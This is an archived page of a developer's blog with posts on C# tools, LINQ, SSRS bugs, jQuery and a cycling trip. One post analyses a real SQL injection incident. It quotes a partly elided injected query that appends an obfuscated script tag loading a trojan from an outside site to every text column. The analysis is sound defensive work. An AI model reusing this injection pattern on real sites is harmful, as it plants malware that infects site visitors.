May 2008 - 文章

Mini C# Lab Ver 1.1

After Mini C# Lab 1.0 was released, I got good suggestions from friends.  I agree that these improvements can make Mini C# Lab handier, so I add some useful features to it, then the Mini C# Lab ver 1.1 is coming...

New features:

  1. The *TERRIBLE* Ctrl-X shortcut for exit is removed, shortcut key for exit is Alt-F4 now.
  2. Support additional assembly references.  For example, when you want to use OracleConnection, you have to make sure your had added System.Data.OracleClient.dll reference to your project  in Visual Studio.  You can do the same thing with a "//REFDLL" remark, and please use ; to separate multiple references.

     
    Demo 1. Add references to System.Data and System.Windows.Forms to MessageBox.Show the SELECT getdate() from SQL server.
  3. Support .NET 3.5 now! You can test LINQ in Mini C# Lab 1.1 if you like to.  Mini C# Lab will add System.Core.dll, System.Data.Linq.dll, System.Xml.Linq.dll automatically when you choose ".NET 3.5" option, so no need to //REFDLL these three assemblies. By the way, don't forget to add "using System.Linq" in your code, or the LINQ code won't run.


    Demo 2. Choose target .NET 3.5, you can test LINQ in Mini C# Lab
  4. Automatically open the basic C# template after startup.

TIPS: you can use Ctrl-N to get an demo template to save some typing time.

Download Mini C# Lab Ver 1.1

Check it out and feel free to give me feedback.

[中文說明]

Mini C# Lab 1.0推出後,不少朋友給了相當實用的建議,於是我偷偷地加了一些新功能,Mini C# Lab 1.1就誕生了...

這次加入的新功能有:

  1. 該死的Ctrl-X離開快速鍵總算拿掉了,現在改成Alt-F4
  2. 可以在C#程式碼中加上"//REFDLL System.Data;System.Windows.Forms"這種格式加入額外的References, Demo 1示範了用MessageBox.Show出從SQL Server查出來的getdate()結果。
  3. 好像有不少人想用它來測LINQ,所以我加入了可以Build .NET 3.5程式的功能。選擇.NET 3.5時,我會自動參考System.Core.dll, System.Data.Linq.dll及System.Xml.Linq.dll,因此這三個可不用寫在//REFDLL中,但記得要using System.Linq哦!
  4. 啟動時會自動開啟基本樣本。

TIPS: 按Ctrl-N可以得一個基本的樣版,可以省去一些打字時間。

下載 Mini C# Lab Ver 1.1

一樣,有任何意見,歡迎回饋給我。

LINQ to SQL: DataType Mapping Between SQL And .NET

好奇LINQ To SQL如何將SQL Data Type對應成.NET Data Type,我做了一個小實驗: 建了一個有18種不同資料型別的Data Table,把它拉進dbml中,看看LINQ to SQL對應出來的資料型別為何?

以下是整理出來的結果:

SQL Data Type Linq to SQL .NET Data Type
tinyint System.Nullable<byte>
smallint System.Nullable<short>
int System.Nullable<int>
bigint System.Nullable<long>
float System.Nullable<double>
real System.Nullable<float>
smallmoney System.Nullable<decimal>
money System.Nullable<decimal>
numeric(6, 2) System.Nullable<decimal>
numeric(12, 2) System.Nullable<decimal>
numeric(18, 2) System.Nullable<decimal>
xml System.Xml.Linq.XElement
image System.Data.Linq.Binary
binary, varbinary System.Data.Linq.Binary
bit System.Nullable<bool>
datetime System.Nullable<system.datetime>
timestamp System.Data.Linq.Binary
uniqueidentifier System.Nullable<system.guid>
varchar, char, text, ntext System.String

之前見識過ODP.NET會依不同數字欄位長度切換Single、Double或Decimal。在LINQ to SQL中也有類似的彈性做法,tinyint, smallint, int, bigint分別變成byte, short, int及long,但是smallmoney, money, numeric則一律轉成decimal。我喜歡這個設計方式,如此將不至於產生上次遇到的ODP.NET數字誤差。

SQL xml Data Type會變成System.Xml.Linq.XElement, image, binary, varbinary會變成System.Data.Linq.Binary,而timestamp則對應成System.Data.Linq.Binary。

最後提醒一下,除了Linq.Binary, Linq.XElement及String外,若資料庫欄位允許NULL時,則LINQ to SQL會把它轉成Nullable<T>,讓我們可以用null來對應到資料庫的NULL,十分直覺化。

愈用愈覺得LINQ to SQL是個好東西呀!!

Posted 28 May 2008 08:20 PMJeffrey | 1 comment(s)
Filed under: ,
TOOLS-Mini C# Lab Ver 1.0

Did this ever occur to you?

You wanted to write several lines of C# code to clarify some syntax or parameter format, or you needed a one-time program to process log files. You started Visual Studio 2005/2008, created a new console application project, wrote several lines of code, then build, run, and finally got the result.  What if the answer you wanted to know is simply whether decimal.ToString("N2") will return the correct formatted number?  How long have you been waited before writing the first line of code?  After you got the answer, would you spend several seconds to delete the *.csproj, *.cs files?

Quite often I felt that I spent 60% of my time on waiting for Visual Studio initialization and project operation, 40% on coding and execution, and it ended up left a whole bunch of unnessary files in my workspace. This is not efficient at all!  In these cases, Visual Studio is too heavy, but coding with notepad and csc.exe is too lousy.  What I really need is a light-weight IDE than can startup in one second and allows me to edit the code directly and run it with one click.  So, here is my Mini C# Coding Lab.

Mini C# Lab is a .NET 2.0 winform application with single 13KB exe file. As you see, the UI is quite simple and easy to use.  Write the code on the code editor, then click "Run" button to check the result.  The colorful formatting effect is based on Manoli's CSharpFormat. I use an easy, stupid but inefficient way to implement the formatting, so it's not real time. The RichTextEditor refreshes every time when you press after up/down/enter key, so don't try to edit a very long code. (It's only for "mini", right?)

The code is running in another thread, so you can stop it if it hang or the time is longer than you expected.  Mini C# Lab also provide simple open and save function, so you can keep your source code in single .cs file for furture use.

OK, that's all, try it and feel free to send me feedback

Download Ver 1.0

【中文摘要】

你是否有這樣的經驗?

只想寫兩行Code,試試某個語法的效果,或做個一次性轉檔。為了這幾行Code,你得開啟Visual Studio,等待它啟動,建一個專案,寫兩行Code,建置、執行、搞定,然後留下一整個專案資料夾跟一堆不會再用第二次的檔案。算一算,寫Code只花了40%的時間,卻花了60%的時間等待Visual Studio的啟動及建立專案上,更甭提這個"免洗"專案所留下的一堆殘檔。

我以前會偷用Word或Excel的巨集功能用來測試VB語法,試完後選擇不存檔,整個處理速度比啟動VB6來得快,且什麼都不留下。Office到了2007,也還不能在VBA裡寫.NET,我一直為在.NET方面找不到類以的替代方案而惋惜。

那麼... 自己寫一個吧!

Mini C# Lab是一個.NET 2.0 WinForm程式,只有一個13KB的獨立執行檔,免安裝,直接執行即可。你可以用上面的編輯視窗直輸入寫C#程式,利用Console輸出結果。編輯欄位我用了Manoli's CSharpFormat標出顏色,不過用的是簡單但笨拙的做法,一整行寫完後才會更新,而且,由於它每次整段程式都要重新顯示,不適合太長的程式碼。(記住,我本來只是想"Mini"而已呀!)

程式碼在另一個Thread執行,所以執行過程可以Cancel;另外,你也可以將程式碼儲存成.cs供下回再讀取應用,比Visual Studio的Project模型簡便許多。

有需要的朋友可以試試看,想到什麼建議再反應給我吧!

About Linq To XML Default Namespace

先前知道,VB.NET在XML表示法上比C#便利一些,可以直接在程式碼裡寫起XML來(見Deep XML Support一節),不用搞出一堆New XElement, New XAttribute, 簡潔許多。

剛才又發現,在Namespace處理上,VB.NET 2008再次略勝一籌!

假設有以下的XML,其中宣告了Namespace:

<?xml version="1.0" encoding="utf-8" ?>
<Fruits Country="Taiwan" xmlns="http://xml.darkthread.net">
  <Fruit Id="1">Mango</Fruit>
  <Fruit Id="2">Banana</Fruit>
  <Fruit Id="3">Bell Apple</Fruit>
</Fruits>

用以下的程式測試,會發現未宣告Namespace的Test1會查不到任何符合的Fruit元素,得寫成Test2的做法才成。

class LinqTest
{
    public static void Test1()
    {
        XDocument xd = XDocument.Load("MiniData.xml");
        //it will get "0"
        Console.WriteLine(xd.Root.Elements("Fruit").Count());
    }
 
    public static void Test2()
    {
        XDocument xd = XDocument.Load("MiniData.xml");
        XNamespace xn = "http://xml.darkthread.net";
        //it will get correct answer "3"
        Console.WriteLine(xd.Root.Elements(xn + "Fruit").Count());
    }
}

重點來了! Test2裡只展示了一個xn + "Fruit"。事實是,程式裡所有用到Element Name, Attribute Name的地方全都要比照改寫,如果程式有兩三百處動用了Element、Attribute名稱,意味著要多寫兩三百個"xn +",實在很笨,難道不能設定Default Namespace嗎?

VB.NET的開發者有福了,有個Imports xmlns="http://xml.darkthread.net"的寫法,可以指定預設命名空間,省去即使是Default Namespace也得每次額外聲明的困擾。但很遺憾地,這個寫法在C#上並沒有對應(這裡有篇MS Online Support參與的討論,證實了這點)... orz

C#! 加油呀~~

PS: 我偷偷地用了鋸箭法避開要加數百個XNamespace Prefix的問題-->在讀入前把XML原文中的xmlns宣告偷偷幹掉,當成什麼事都沒發生過。很鋸箭,小朋友不要學呀~~~

Posted 26 May 2008 08:20 PMJeffrey | 1 comment(s)
Filed under: ,
KB-Auto Word Wrap Issue in Web Page Monkey Test

在系統測試中,有一種測試叫做Monkey Test(有人翻成搞怪測試,我比較想稱它為"惡搞測試" XD),意指測試者以不合乎常理的方式操作系統界面,檢測系統是否會發生不可預期的嚴重後果。用白話來說,就是百般刁難,亂按一通,系統也不能當機掛點資料受損,這樣才稱得上經打耐操的好程式。(聽前輩說,以前政府專案界有一位令廠商聞風喪膽,號稱"美猴王"的學者教授,只要受邀參與專案驗收,一定會在緊要關頭放大絕招---Monkey Test~~~)

今天負責上線前測試的同事回報,有隻猴子有位使用者通報某個表單網頁在輸入較長文字時,畫面會變形。

深入追查後,發現猴子測試者所輸入的是33333333333333333333333333333這類無意義連串英文,而這段文字被夾在<div style="width:140px">...</div>中顯示,雖然已設了寬度限制,但顯然瀏覽器無法以我們指定的寬度對這段無空白英文進行自動換行(auto wrap)處理。

於是,我設計了以下的測試,看一下這種特殊狀況在IE及Firefox下的呈現結果。

<table style="border:1px blue dotted">
<tr>
<td style="width:200px; border:1px green dashed; font-size:9pt;">
    <div style="width:140px; border: 1px red solid;">
    中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文
    </div>
    <div style="width:140px; border: 1px brown solid;">
    11111111111111111111111111111111111111111111111111111111111
    </div>
    <div style="width:140px; border: 1px brown solid;">
    Here are some normal words from normal human, but not crazy monkey... XD
    </div>
    <textarea style="width:140px; font-size:9pt;"
    >中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文中文
    </textarea>
    <textarea style="width:140px; font-size:9pt;"
    >1111111111111111111111111111111111111111111111111111111111
    </textarea>
    <textarea style="width:140px; font-size:9pt;"
    >Here are some normal words from normal human, but not crazy monkey... XD
    </textarea>
</td>
<td style="width:100px; border:1px purple dashed">Right Side</td>
</tr>
</table>

測試結果如下

結論是:

  1. 中文字或含空白的正常英文句子,IE或Firefox都可以正確斷行。
  2. 無空白的連續英數字,IE或Firefox無法自動斷行,因而導致<div>不依Style寬度顯示。
  3. 當TextArea中輸入無空白的連續英數字時,IE會強制斷行,Firefox則不會,但會跑出水平捲軸,並不會破壞寬度設定。

【補充】IE支援一個CSS設定"word-wrap:break-word",設定後便可以克服無空白長串英數字無法斷行的問題,但這一招受限於瀏覽器,並不算完整解決方案。

Posted 23 May 2008 05:02 PMJeffrey | 4 comment(s)
Filed under: , ,
游擊式的SQL Injection攻擊

最近處理了一個棘手的SQL Injection案例,又增長了一些見聞

(如果你身為網站設計人員卻不知道什麼是SQL Injection,建議你最好立即請假佯裝出國度假或雙手打上石膏裝殘,無論如何,在搞懂什麼是SQL Injection之前,務必暫停手邊的開發工作,以免在系統埋下更多的炸彈,遺害千年!  我有幾篇文章可以參考: ASP.NET防駭指南你的網站在裸奔嗎?)

這次遇到的狀況是發現網站上一些內容顯示有誤,似乎是HTML格式不對。仔細確認,發現資料庫中的所有varchar, nvarchar欄位資料後方都被加上了</title></pre>><s cript src=" http: // 某個網站 / 某個.js "></s cript><!--

看到這種寫法,我立刻想起過去曾經解剖過的木馬。順著它寫的js連過去檢查,證實了這是個掛馬的技倆沒錯。

因此,我有了初步推測:

  1. 所有DB的文字欄位都被加上相同的東西,應該是使用SQL指令造成的
  2. 加上掛馬用的js,目的是希望透過網站當媒介,將木馬散播出去,因此對方知道這是Web主機用的DB。
  3. 綜合以上兩點,這應該是SQL Injection攻擊!!

既然是由Web進入的SQL Injection攻擊,理論上就應該可以由IIS Log中看出端倪。不過由於被攻擊的時點不確定,要搜索的範圍很大,加上我對SQL Injection手法有些過時的錯誤認知,因此一開始花了不少時間卻亳無所獲。

這裡說說所謂"過時的錯誤認"知是什麼,讓大家引以為戒:

  1. 有設定Custom Error Page就可以有效阻擋SQL Injection攻擊?
    錯! 可以擋住一般的業餘駭客手工破解,但擋不住高手或自動工具。
  2. 駭客會在TextBox中輸入不同的值來嘗試攻擊,方能不受QueryString長度的限制
    錯! GET一樣可以漂亮完成工作,一開始只鎖定POST的Log記錄顯然找錯了方向
  3. SQL Injection多半是一連串的反覆嚐試,因此可以在Log上找到明顯跡象?
    錯! 這年頭自動工具都很快、狠、準,不會留下太多足跡。
  4. 在SQL Injection的嘗試過程中,常會觸發HTTP Status 500 Error?
    錯! 有一種遊擊式攻擊法,只會發射幾個特定的URL,若僥倖成功,半個Error也不會留下。

Google了一下(關鍵字hao929.cn, sb.5252.ws, , ,發現遇到相似攻擊的人很多,甚至有人把它定義成病毒,我找到一個網站提供了頗為詳細的說明,發現它的原理是利用sysobjects, syscolumns去列出所有的文字欄位,非常合理。很幸運地,用sysobjects當成關鍵字,我在IIS Log中找到了證據。

邪惡的傢伙利用QueryString加掛了一段Code,使整段SQL變成:

select top 1 blahColC from blahTable where blahColA=123;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b ...略... b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 ...略... UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x3C2F74697 ...略... tAbLe_cursoR;-- order by blahColB desc

其中看到它用了0x3C2F7469...這種寫法將</title>等文字隱藏起來,同時還故意用了奇怪的大小寫組合讓SQL指令不易閱讀。其中使用的手法如同在F-SECURE看到一樣,但我所謂的"幸運",是指這回遇上的,並沒將核心的SQL語法用Binary表示,否則會更難用Text工具直接從Log檔中找到線索。

除此之外,我發現同一個Client還發了另外兩個Request,檢測目前的使用者是否為db_owner或sysadmin,也許是因為有限定了連線DB的帳號權限(這點印證了我在文章中提到"權限愈小傷害愈小"理論),在測試權限失敗後,就沒有後續動作了。說不定如果用的帳號是sa,後面就開始跑DOS Command、傳檔案、裝後門,光用想的就會讓人冒冷汗。

【結論】

傳統印象中,SQL Injection要設法取得欄位名稱資訊,以偷出資料或從事破壞為樂。但是要進行這些操作,通常得仰賴網站傳回錯誤訊息的細節才能提供繼續深入的情報。近年來,很多網站預設都已開啟Custom Error Page,讓手工操作入侵的難度變高。不過,也開發現一些新的攻擊趨勢:

1. 駭客圈已流傳一些現成的SQL注入工具,裡面已針對ORACLE、SQL、MySQL、Access等各家資料庫寫好預設的多組測試Script,不需要耐性過人也不必做苦工,交給工具快速試過一輪即可輕鬆得手。再配合Google找尋獵物,亂槍打鳥之下,就算你的網站沒什麼名氣都可能中鏢。

2. 除了有心駭客設法要破解網站盜取資訊,還有一種打遊擊式的SQL Injection攻擊,把全部的攻擊指令濃縮成一行QueryString,四處亂試主機,成功就爽到,失敗了不過浪費幾百個Bytes的頻寬,是穩賺不賠的生意。而攻擊指令是假設資料庫的內容會被當成HTML顯示在網站上,所以只要找出SQL資料庫中所有的varchar, nvarchar, ntext, text欄位,在後方加上一段<script src=”用來載入木馬的js檔案”>,就可以將網站當成感染源,達到廣種木馬的目標。(這類木馬的原理可以參考先前發表過的"有趣的木馬解剖",通常只要勤做Windows Update並避免執行來路不明的程式就可避免)

【延伸閱讀】資安廠商提供的資訊,描述的手法跟我觀察到的很相像:

"... 僅使用一行網站Request 就完成入侵,將惡意連結注入到後端的資料庫裡面,同時可以更改所有資料庫中可運用的表格,因為僅短短一行注入攻擊碼在網站Log稽核檔案中很難發現。即使網站已經關閉錯誤回應訊息(一般防堵SQL Injection的作法),只要注入點未作輸入資料驗證,此攻擊仍然可以成功,導致誤認已經關閉錯誤訊息就可以高枕無憂的網站,大量遭到入侵。 ..."

RSConfigTool can't upgrade the database named as *ReportServer

I found a bug about Reporting Services Configuration Tool.  Here's the detail:

  1. I installed SSRS as non-default instance.
  2. Before configurating reporting service instance, I installed SQL 2005 SP2.
  3. Then I used Reporting Services Configuration Manager(RSConfigTool.exe) to configure my reporting service instance.  In "Databases Setup" tab, I created a new database named as 'SSRSReportServer'.
  4. After database was created, I tried to apply the setting, UI prompted for upgrading database from version 'C.0.8.40' to the newest version.
  5. While database upgrading, I got a exception:
    Could not locate entry in sysdatabases for database 'SSRS'. No entry found with that name. Make sure that the name is entered correctly.
  6. Startup SQL Profiler, I caught this SQL Script
    USE SSRS[SSRSReportServerTempDB] 
     
    --------------------------------------
    -- T.0.8.40 to T.0.8.41
    --------------------------------------
    -- No change in tables 
     
    --------------------------------------
    -- T.0.8.41 to T.0.8.42
    -------------------------------------- 
     
    if (select count(*) from dbo.syscolumns where id = object_id('SessionData') 
    and name = 'ExecutionType') = 1
    begin
    ALTER TABLE [dbo].[SessionData] DROP COLUMN [ExecutionType]
    end
  7. The first USE SSRS[SSRSReportServerTempDB] should be USE [SSRSReportServerTempDB]. 
  8. Finally, I tried WMI Provider "\root\Microsoft\SqlServer\ReportServer\v9\admin:MSReportServer_ConfigurationSetting" [GenerateDatabaseUpgradeScript] method, it returned "USE SSRS[SSRSReportServerTempDB]", the same as I saw in RSConfigTool.  But if the database name is ReportServerXX, then USE ReportServerXXTempDB is returned.  It seems the issue happened only when database name LIKE '%ReportServer'

Resolution:

I think the Reporting Service WMI Provider has a bug in report service database name to temporary database name conversion, when database name like '%ReportServer'.  As we know this, we can keep away from this bug easily by avoiding naming database as *ReportServer.  (But it took me several hours to found out this truth...)

[中文摘要]
在設定SSRS的資料庫時,若你是先安裝SQL 2005 SP2後才設定Reporting Service Instance,且剛好資料庫又命名為*ReportServer(不包含預設的"ReportServer",而是指"BlahReportServer"、"BooReportServer"這種格式),則會在設定過程中遇到資料庫升級失敗。經過一番測試,確認此為Reporting Service WMI Provider的Bug。最簡單的解決方法是為DB換個名字,不要跟它拼命,要是一定要取這種名字,你可以用RSConfigTool工具裡產生Script的功能,將升級資料庫Script先寫成檔案後手動改掉不正確的USE dbname指令再執行即可。

SSRS安裝之過五關斬六將

今天要在一台Domain Controller Windows 2000上安裝一台SQL Server Reporting Service 2005(SSRS),一路過五關斬六將,還跟Bug博鬥到三更半夜。安裝完成時不禁喜極而泣,特PO文紀念。

註: 該主機上已安裝了SQL 2000 Reporting Service, 故SSRS未裝在Default Instance,兩個網站則命名為/SSRSReports及/SSRSReportServer。

【東岭】Reporting Services Configuration Manager要建立資料庫時,出現Invalid object name 'sysdatabases'的錯誤訊息。

【解決】確定你填寫用來登入SQL的帳號Default Database是'master'。這Bug在SQL 2005 SP1後已經修掉了。Forum Post

 【洛陽】無法啟動ReportServer,出現以下訊息...
Source:SQL Server Report Service, EventID=0
MyServer 無法啟動服務。Microsoft.ReportingServices.Diagnostics.Utilities.UnknownUserNameException: 無法辨識使用者或群組名稱 'MyServer\ASPNET'。
   於 Microsoft.ReportingServices.Library.Native.NameToSid(String name)
   於 Microsoft.ReportingServices.Library.ServiceAppDomainController.StartRPCServer(Boolean firstTime)
   於 Microsoft.ReportingServices.Library.ServiceAppDomainController.Start(Boolean firstTime)
   於 Microsoft.ReportingServices.NTService.ReportService.OnStart(String[] args)
   於 System.ServiceProcess.ServiceBase.ServiceQueuedMainCallback(Object state)

Source:Report Server Windows Service (SSRS) ,    EventID=121
The Remote Procedure Call (RPC) service failed to start.

【解決】MyServer是台Windows 2000 Server且為Domain Controller,故要依MS KB 911846,將WebSrviceAccount設成IWAM_MyServer。

 【汜水關】http:// MyServer /SSRSReports無法啟動,在Log中出現
Source: Report Manager, Category: Logging, EventID=111
Report Manager cannot create the trace log C:\Program Files\Microsoft SQL Server\MSSQL.1\Reporting Services\LogFiles\ReportServerWebApp__05_20_2008_15_58_10.log.
http:// MyServer /SSRSReportServer無法使用,提示存取rsreportserver.config權限不足。
【解決】賦與IWAM_MyServer對LogFiles及..../ReportServer/rsreportserver.config的存取權限。

【滎陽】執行http:// MyServer /SSRSReports 出現The ReportServerVirtualDirectory element is missing錯誤
【解決】修改C:\Program Files\Microsoft SQL Server\MSSQL.1\Reporting Services\ReportManager\RSWebApplication.config,加上ReportServerVirtualDirectory 設定。MS KB

【滑州】執行http:// MyServer /SSRSReports出現HTTP Status 400: Bad Request
【解決】原來是在之前設定ReportServerVirtualDirectory 時,輸入成完整的URL,其實只需要給/SSRSReportServer即可。

===== 我是分隔線 =====

不過,說老實話前面提的這些都只是小菜而已,靠經驗或Goggle一下就迎刃而解,真正困住我的大魔王是SQL 2005 SP2的一個Bug。這部分留待下一篇再說明。

我的政大十三行博物館百里鐵馬長征

故事要從上週日(5/11)說起...

氣象報告說上週日晴轉多雲,氣溫20度上下,是適合戶外活動的好天氣。但上週六晚下了場大雨,山路肯定溼濘難行,那麼... 就再來一次單車長征吧!!

去年八月,曾經挑戰過政大淡水來回5.5小時的80公里長征,至今依舊是朗朗上口的講古題材(中年人嘛,沒辦法),趁著天公作美,打算再來個長程的。恰巧前一天同事傳來一份台北單車行的建議路線資料,心想,跑了好幾次都是在台北市右岸打轉,這回走走左岸好了,可以一路騎到八里十三行博物館,看起來距離跟到淡水差不多。

沒想到,代誌並不像憨人想得那麼簡單...

天陰風涼,是騎單車的好日子。但過了福和橋過到左岸,才發現台北縣的單車道跟台北市大異其趣! 台北市的左岸河濱自行車道幾乎都是柏油路面; 而台北縣的左岸河濱單車道路面則變化多端,有時是柏柚路,有時是水泥路,還有一大段居然用的是仿岩石面的方格地磚,騎在上面,只有一個字可形容:  抖~~~~

但這些都不是最要命的差異。先前騎右岸的經驗,不到500公尺就會有一面導覽地圖告示版,分叉路口也會有明確的指標,因此事前幾乎不用做什麼功課,一路順著地圖、路標走,想迷路都很難。抱著同樣的心態前進左岸才大吃一驚! 連續騎了好幾公里,不要說地圖告示牌了,連指標都沒半根。

最後,原本要去八里十三行博物館的我,就在苦等不到"往八里"指示牌的狀況下,順著大漢溪騎到了板穚,最後騎到了自行車道的盡頭,偷瞄旁邊大馬路的指標是"往三峽"...

板橋段自行車道的盡頭   排排坐的鷺鷥

雖然沒到原本的目的地,但看看里程數已近四十,要再回頭加騎八里已不可能,只好打道回府。而路上的收獲是在大漢溪畔經過了好幾個環保公園,看到了裝有自動灑水器的人工溼地(剛好當天新聞報導淡水河整治有成時,就提到了人工溼地)。但清晨還覺得涼爽有如上天恩賜的清風,在回程時變成逆向強風,將大腿推向抽筋邊綠,左膝也疼得厲害。總算撐回家,雙腿左膝還持續痛到晚上,這趟意外的旅程,來回七十公里。

遠方可以看到自動灑水器的人工溼地   成群山羊

上週的左岸大迷航後,一直心有不甘,不但迷了路沒到預設的目的地(以專案管理來說,就是完全未符合專案規格),還搞得腿酸膝痛(專案人員吵著要遞辭呈嗎?),真是一整個失敗。這個週六,雖然氣象預報是個氣溫高太陽大的酷熱日子,卻壓不住急著要復仇雪恥的熱血,早上五點整準時向八里出發!

親愛的讀者,你多久沒看過日出了?

事先看過了地圖,這回小心翼翼地在華江橋渡河到右岸,緊張兮兮地由新海橋越過大漢溪,踏上三重蘆洲的環狀自行車道,確認不會再誤入板橋後,緊張的心情才放鬆。不過心中一直的認知是在騎左岸,對於二重疏流道又變成右岸頗為迷惑,一時路痴症狀又發作了。二重疏流環狀自由車道不同於左岸板橋段,一路上地圖立牌密集,但我還是很不放心地每到一個地圖牌就停下來確認,一位也要去八里的車友大哥看出小路痴的焦慮,好心地指示方向,還一路注意我有沒有跟上。

二重疏洪自行車道,前方的騎士就是帶領小路痴前行的好心大哥

二重環狀車道有點意思,不若之前騎的岸式車道一路是伴著河面而行;常常一下子就要橫越高速公路交流道寬的大馬路,還要按行人穿越專用的紅綠燈按鈕過馬路;車道在公園、工地、停車場間梭,甚至有一段是馬路旁以紐澤西護欄圍出兩米寬,也算是自行車專用道的一種,頗為新鮮。

再往北過橋就到了八里左岸,又是不同的景象。車道明確、指示清楚,還不時有木頭護欄及佈置造景,很有特色。只可惜騎到此時,已過七點,日頭赤炎炎,愈來愈難騎。沿著八里左岸一路北行,終於在七點半抵達目的地--十三行博物館!

八里左岸自行車道 

博物館沒有想像中宏偉壯觀,背面看起來像一艘船,旁邊則是硬要蓋在古蹟上的八里污水場。四處晃了一下,繞過去看了觀海長堤,沙灘上有不少魚痴不畏酷日在坐在太陽底下揮釣竿,安檢所裡的橘衣海巡則正在操作電腦,由嘴上不時飄過的一抹笑意來看... 是上網! 錯不了的,依我的當兵經驗,補寫裝檢表格時是笑不出來的。

十三行博物館   觀海長堤

看了看時間,八點半了,回程可能要再三個小時,便趕緊動身上路。回程不想再走左岸,就過了關渡大橋,走洲美大橋、大稻埕回去。在關渡附近看到正值綠油油的稻田,致命的吸引綠引起了我的注意,特別停下來拍了一張照片。其餘的時間就是一路狂趕,這天回程仍是小逆風,但風勢比上回小很多,騎起來的挫折感不算太重,雙腿疲勞有餘,但不到前次瀕臨抽筋的程度,但天氣實在熱得可以,一路上連嗑掉兩瓶600cc的運動飲料,接近尾聲時得每半小時停下來休息五分鐘才有氣力再攻。

關渡大橋   致命的吸引綠又出現了

最後,如預期三小時內抵家,從早上五點整動身起算,總共騎了六個半小時,全程95.43公里,就當成百里長征吧! 就這樣,中年人的當年勇事件簿,又寫下輝煌的一頁。(很多人的耳朵又準備要痛了XD)

有圖有真相

關於台北縣市自行車道的全圖,台北市政府有提供紙本索取管道及下載,但我最推薦是網友整理的線上版,有興趣的人可以參考。

PS: 我在部落格上試加了PopBox的圖檔放大效果,文章中一律改放小圖,點選後才Show原圖,希望可以改善下載速度,但在RSS訂閱中不管用,有需要的人再連回網站看吧。對於這種操作UI,如果有什麼意見,可以再Feedback給我。

Posted 20 May 2008 08:38 AMJeffrey | 4 comment(s)
Filed under: ,
Unassigned Parameter in ODP.NET and System.Data.OracleClient

今天抓了一個小問題,又是因System.Data.OracleClient與ODP.NET行為不同所致:

using (OracleConnection cn = new OracleConnection(
    "Data Source=MyOracle;User Id=myUser;Password=myPass;"))
{
    OracleCommand cmd = new OracleCommand(
        "SELECT * FROM UserTable WHERE UserId = :userId", cn);
    cmd.Parameters.Add("userId", OracleType.VarChar);
    OracleDataAdapter da = new OracleDataAdapter(cmd);
    DataTable dt = new DataTable();
    if (bMode == "Add")
    {
        da.Fill(dt);
        DataRow row = dt.NewRow();
        row["UserId"] = "AAA";
        row["UserName"] = "UserAAA";
        dt.Rows.Add(row);
        da.Update(dt);
    }
    else if (bMode == "Update")
    {
        //...略...
    }
}

有一段類似以上的程式邏輯,用DataAdapter來做資料Insert或Update,程式寫法本身有點疑問,但用ODP.NET跑了好幾年相安無事,最近把類似的邏輯翻到MS的OracleClient卻出了問題。

程式本身的瑕疵在於宣告了Parameter["userId"]卻沒有指定值。經測試驗證,同樣的程式寫法用配合ODP.NET可以過關,但跑MS OracleClient或SqlClient時會傳出Parameterized Query '(@userId varchar(16)' expects parameter @userId, which was not supplied的錯誤訊息。

換句話說,ODP.NET在OracleCommand.Parameter未指定時應會給予預設空值,而OracleClient則是直接觸發例外! 這點經驗跟大家分享一下。

Posted 19 May 2008 05:35 PMJeffrey | no comments
Filed under: ,
TIPS-神奇的jQuery XML查詢魔法

jQuery最吸引我的,莫過於它強大的Selector功能了。

今天試玩了jQuery的XML查詢,發現先前用在HTML元素查詢上的Selector語法,在XML上也適用! 換句話說,不必另外記憶XMLDocument的操作指令及XPATH,直接把查HTML元素的概念搬過來也可以輕鬆搞定,真是一大福音。

就用個簡單的例子說明一切吧! 一切盡在不言中...

    var x = $(
        "<xml><products><product id=\"P1\">AA</product>" +
        "<product id=\"P2\">BB</product>" +
        "<product id=\"P3\">CC<part>X</part></product></products></xml>");
    alert(x.find("products product").size());
    alert(x.find("product:eq(1)").attr("id"));
    alert(x.find("product").eq(2).find("part").text());
    alert(x.find("product[@id='P1']").text());

PS: 在jQuery裡,如果要直接將字串轉成XML物件,記得前後方要加上<xml>及</xml>,才會被當成XML處理;XMLDocument物件則可以直接用$(xmlDoc)。

Posted 16 May 2008 09:01 PMJeffrey | 2 comment(s)
Filed under:
不好意思啊,我這人就這麼直!

我靠﹗你當我什麼?我一秒鐘幾十萬上下無緣無故跟你們幾個廢物去踢球﹗不好意思啊,你知道我這人就這麼直﹗我無緣無故的還要去跟你這個死瘸子去參加比賽!你原諒我就是這麼直啊,最后還要無緣無故地贏了比賽,這或然率低過零啊﹗

語出電影【少林足球

不知道你在職場上有沒有遇過這樣的人?

天生一付直腸子,不管什麼想法、意見,永遠有話直說,從不管說出來是不是會傷人壞事損陰德;而且他們還有一個共同的特徵,就是從不認為這是缺點,雖然常把"不好意思,你知道我這人就是這麼直!"掛在嘴邊,卻聽不出任何歉意,與其說是道歉還不如說是種驕傲的宣示,言下之意是"沒辦法,我天生就是耿直剛毅的性情中人,再怎麼努力也沒法像你們一樣,變成有話想講不敢講、一句話要拐十幾個彎的偽君子,萬一說了什麼讓人覺得不舒坦,你們就忍著點吧"。

於是周遭的同事常常要為他善後,極力安撫他得罪的對象、為他在會議上亂講話發澄清稿、卑躬屈膝懇求翻臉的廠商客戶回心轉意、費盡心思安慰被他口吐真言戳傷幼小心靈的同事... 雖然和對方一起痛罵"你知道他這人就是這副死個性"頗有療傷止痛效果,但這些修補動作總是耗費了太多不必要的氣力。

這樣的場景,像不像天真的小孩,砸了王伯伯的花盆、打破劉媽媽家的玻璃、踢了張爺爺的小狗、扯落了陳阿姨剛曬的衣服,後面跟著不斷躹躬哈腰父母,口中唸唸有詞"對不起,你知道的,小孩子皮..."

小孩可以天真不懂事,而職場上工作多年的大人呢? 是否還有天真不懂事的權利?

父母本當為未成年子女的行為負責,那些為了善後傷透腦筋的同事親友何其無辜?

直腸子或許是天性,但絕不是值得驕傲的個人特質。在重要場合說話得罪人,壞事砸鍋之餘總要勞動同事親友出面補救,難道不用覺得愧咎? 說話不經修飾,說出真話傷了人(沒錯,就算真話,也要衡量對方聽到的感受),眼看對方傷心難過,難道你沒有一絲憐憫? 若是如此,何驕傲之有?

